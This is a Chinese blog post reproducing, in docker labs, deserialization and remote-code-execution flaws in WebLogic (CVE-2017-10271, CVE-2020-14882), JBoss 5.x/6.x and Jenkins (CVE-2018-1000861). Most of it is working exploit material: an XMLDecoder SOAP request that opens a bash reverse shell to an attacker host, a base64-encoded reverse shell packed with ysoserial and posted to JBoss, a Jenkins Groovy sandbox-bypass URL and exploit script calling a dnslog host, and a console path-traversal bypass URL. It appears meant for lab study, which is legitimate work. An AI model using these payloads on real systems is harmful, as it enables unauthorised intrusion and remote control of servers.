weblogic(CVE-2017-10271、CVE-2020-14882)、Jenkins(CVE-2018-1000861)、JBoss 5.x/6.x 反序列化漏洞

一、weblogic反序列化漏洞(CVE-2017-10271)

简介WeblogicWLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。weblogic是java中间件!
kali开启4444端口:

nc -lnvp 5555

docker部署好环境后,直接访问127.0.0.1:7001,会出现404界面,表示weblogic已成功部署。
在这里插入图片描述

直接发送下面的数据包:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.92.6/5555 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

二、JBoss 5.x/6.x 反序列化漏洞

jboss是一款java中间件,docker部署成功后,访问127.0.0.1:8080
在这里插入图片描述
编写反弹shell

编码网址:runtime-exec

bash -i >& /dev/tcp/192.168.92.6/4444 0>&1

# 由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要用base64进行一次编码。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

序列化数据生成

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

在这里插入图片描述

curl http://127.0.0.1:8080/invoker/readonly --data-binary @poc.ser
# curl将发送一个POST请求到http://127.0.0.1:8080/invoker/readonly
# --data-binary参数指定了请求体的内容
# @poc.ser表示将文件poc.ser的内容作为请求体发送

在这里插入图片描述

三、Jenkins远程命令执行漏洞(CVE-2018-1000861)

简要介绍Jenkins为是一个Java中间件,它是用Java编写的开源软件,使用Java Servlet容器(例如Tomcat)来运行。

1、工具复现

  1. 查看jenkins版本
curl -s -I http://123.58.224.8:38273<8080端口> | grep X-Jenkins

在这里插入图片描述

  1. 工具验证,该漏洞无回显,可以用dnslog进行外带,exp.py来源于awesome-jenkins-rce-2019
python2 exp.py http://123.58.224.8:38273 'curl cnvxoq.dnslog.cn'

注意python版本为python2.7。

在这里插入图片描述

在这里插入图片描述

2、手动复现

直接访问http://123.58.224.8:13872/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x{public%20x(){new%20String(%22curl%20sp981i.dnslog.cn%22).execute()}}

在这里插入图片描述

在这里插入图片描述

四、weblogic远程代码执行(CVE-2020-14882)

weblogic是一款java中间件~,访问http://123.58.224.8:33640/console说明部署成功

在这里插入图片描述
构造POC未授权访问后台:http://123.58.224.8:33640/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

在这里插入图片描述

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值